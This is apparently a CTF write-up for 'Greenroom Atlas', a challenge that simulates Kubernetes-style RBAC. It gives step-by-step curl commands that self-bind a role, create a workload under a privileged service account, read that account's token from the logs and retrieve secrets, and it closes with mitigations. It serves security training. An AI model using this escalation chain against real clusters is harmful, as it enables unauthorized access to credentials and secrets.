Writeup · SAF Pre-Qualifiers 2026

Greenroom Atlas

cloudunknownsolvedFlag: safctf{REDACTED}

Overview

The challenge exposes a small API that simulates Kubernetes-style RBAC, workloads, and service accounts. The provided cluster.json contains a cached access list mapping identities, roles, and service accounts to permissions. The goal is to climb from the initial tour-bot identity to archive-agent and read /api/secrets.

Endpoints exposed:

POST /api/login
PATCH /api/bindings
POST /api/workloads
GET /api/workloads/NAME/logs
GET /api/secrets

Prerequisites / Setup

export TARGET="<challenge URL or IP>"

$TOKEN and $ARCHIVE_TOKEN below are set as the solve progresses. No wordlist or external credentials are required.

Recon

Step 1 — Download and inspect cluster.json

Goal: Obtain the cached RBAC access list and identify the privilege-escalation chain.

curl -O "$TARGET/downloads/cluster.json"
cat cluster.json
{
  "namespace": "backstage",
  "bindings": {
    "tour-bot": ["get:workloads", "patch:rolebindings"]
  },
  "roles": {
    "editor": ["create:workloads", "get:workloads/logs"]
  },
  "serviceAccounts": {
    "default": ["read:public"],
    "archive-agent": ["get:secrets"]
  }
}

Key permissions:

  • tour-bot → patch:rolebindings
  • editor → create:workloads
  • archive-agent → get:secrets

Interpretation: The intended chain is tour-bot → bind to editor → create workload as archive-agent → read archive-agent token → get secrets.

Vulnerability Analysis

Exploitation

Step 2 — Obtain the initial token

Goal: Log in and establish the starting identity.

curl -i -X POST "$TARGET/api/login" \
  -H 'Content-Type: application/json' \
  -d '{}'
{
  "namespace": "backstage",
  "token": "tour-bot"
}
export TOKEN="tour-bot"

Interpretation: The initial identity is tour-bot, which holds patch:rolebindings.

Step 3 — Exploit the role binding

Goal: Bind tour-bot to the editor role to gain create:workloads.

curl -i -X PATCH "$TARGET/api/bindings" \
  -H "Authorization: Bearer $TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"roleRef":"editor"}'
{ "updated": true }

Interpretation: tour-bot is now bound to editor, gaining create:workloads (and get:workloads/logs).

Step 4 — Create a workload as archive-agent

Goal: Create a workload using the privileged archive-agent service account with its token automounted.

curl -i -X POST "$TARGET/api/workloads" \
  -H "Authorization: Bearer $TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{
    "name":"archive-reader",
    "spec":{
      "serviceAccountName":"archive-agent",
      "automountServiceAccountToken":true
    }
  }'
{ "name": "97ef7347e637509b" }

Interpretation: The server generated the actual workload name 97ef7347e637509b (the supplied name is not used directly).

Step 5 — Read the workload logs

Goal: Obtain the archive-agent service-account token from the workload logs.

curl -i \
  "$TARGET/api/workloads/97ef7347e637509b/logs" \
  -H "Authorization: Bearer $TOKEN"
{ "token": "archive-agent" }
export ARCHIVE_TOKEN="archive-agent"

Step 6 — Access the secrets

Goal: Call GET /api/secrets as archive-agent.

curl -i \
  "$TARGET/api/secrets" \
  -H "Authorization: Bearer $ARCHIVE_TOKEN"
{
  "message": "safctf{REDACTED}",
  "ok": true
}

Flag

safctf{REDACTED}

Returned by GET /api/secrets using the archive-agent token.

Lessons / Takeaways

  • An identity that can modify its own role binding (patch:rolebindings) can escalate to any role — self-binding is a powerful primitive.
  • A workload that can specify its service account and automount its token lets an attacker impersonate that service account.
  • Workload logs can leak service-account tokens; treat log output as sensitive.

Mitigations

  • Do not allow an identity to bind itself to arbitrary roles; restrict patch:rolebindings / role escalation.
  • Do not let workloads specify arbitrary service accounts, or disable automounting service account tokens where not needed.
  • Avoid leaking service-account tokens in workload logs or API responses.
  • Follow least privilege: archive-agent should not be reachable from tour-bot via a short chain.

Techniques

References